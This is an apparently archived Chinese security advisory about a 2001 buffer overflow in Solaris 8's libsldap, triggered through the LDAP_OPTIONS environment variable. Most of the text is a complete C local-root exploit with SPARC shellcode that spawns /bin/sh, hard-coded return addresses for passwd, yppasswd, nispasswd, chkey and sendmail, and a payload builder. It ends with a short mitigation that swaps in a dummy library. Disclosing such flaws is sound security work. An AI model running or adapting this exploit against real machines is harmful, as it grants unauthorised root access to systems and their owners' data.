Solaris 8 libsldap 存在缓冲溢出发布时间:2001-06-27 更新时间:2001-06-27 严重程度:高 威胁程度:本地管理员权限 错误类型:环境错误 利用方式:服务器模式 受影响系统 Solaris 8详细描述 libsldap是实现LDAP 名字服务的库,其中在初始化代码中存在缓冲溢出, 当解析环境变量LDAP_OPTIONS时,固定长度的缓冲可用来存储任意长度 的内容。这样使用这个库的SUID程序就可能被利用,如:passwd, yppasswd, nispasswd, sendmail, 和 chkey. 造成本地ROOT权利被获得。 测试代码 /** !!!PRIVATE!!! ** noir@gsu.linux.org.tr ** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit; ** **/ #include <stdio.h> #define ADJUST 1 /* anathema@hack.co.za ** Solaris/SPARC shellcode ** setreuid(0, 0); setregid(0, 0); execve("/bin/sh", args, 0); */ char shellcode[] = "\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08" "\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08" "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"; struct type { char *string; char *path; long retaddr; }; struct type target[] = { { "0, /usr/bin/passwd Solaris8, Sparc64", "/usr/bin/passwd", 0xffbefe98 }, { "1, /usr/bin/nispasswd Solaris8, Sparc64", "/usr/bin/nispasswd", 0xffbefe98 }, { "2, /usr/bin/yppasswd Solaris8, Sparc64", "/usr/bin/yppasswd", 0xffbefe98 }, { "3, /usr/bin/chkey Solaris8, Sparc64 ", "/usr/bin/chkey", 0xffbefea8 }, { "4, /usr/lib/sendmail Solaris8, Sparc64", "/usr/lib/sendmail", 0xffbefeb8 }, { NULL, NULL, 0 } }; int i; unsigned long ret_adr; char ldap[4000]; char egg[400]; char *envs[] = { ldap, egg, NULL }; main(int argc, char *argv[]) { if(!argv[1]) { fprintf(stderr, "libsldap.so.1 $LDAP_OPTIONS enviroment variable \ buffer overflow\nExploit code: noir@gsu.linux.org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n", argv[0]); for(i = 0; target[i].string != NULL; i++) fprintf(stderr,"target#: %s\n", target[i].string); exit(0); } ret_adr = target[atoi(argv[1])].retaddr; memset(egg, 0x00, sizeof egg); for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4) *(long *)&egg[i] = 0xa61cc013; for (i= 0 ; i < strlen(shellcode); i++) egg[200+i]=shellcode[i]; for ( i = 0; i < ADJUST; i++) ldap[i]=0x58; for (i = ADJUST; i < 4000; i+=4) { ldap[i+3]=ret_adr & 0xff; ldap[i+2]=(ret_adr >> 8 ) &0xff; ldap[i+1]=(ret_adr >> 16 ) &0xff; ldap[i+0]=(ret_adr >> 24 ) &0xff; } memcpy(ldap, "LDAP_OPTIONS=", 13); ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated execle(target[atoi(argv[1])].path, "12341234", (char *)0, envs); } 解决方案 一个是清除有漏洞的程序。另一方法是编译假的库来代替/usr/lib/libsldap.so.1, 这会关闭LDAP功能,如: $ cp /dev/null dummy.c $ gcc -shared dummy.c -o dummy.so $ su # mv /usr/lib/libsldap.so.1 /usr/lib/orig_libsldap_so # cp dummy.so /usr/lib/libsldap.so.1 相关信息 |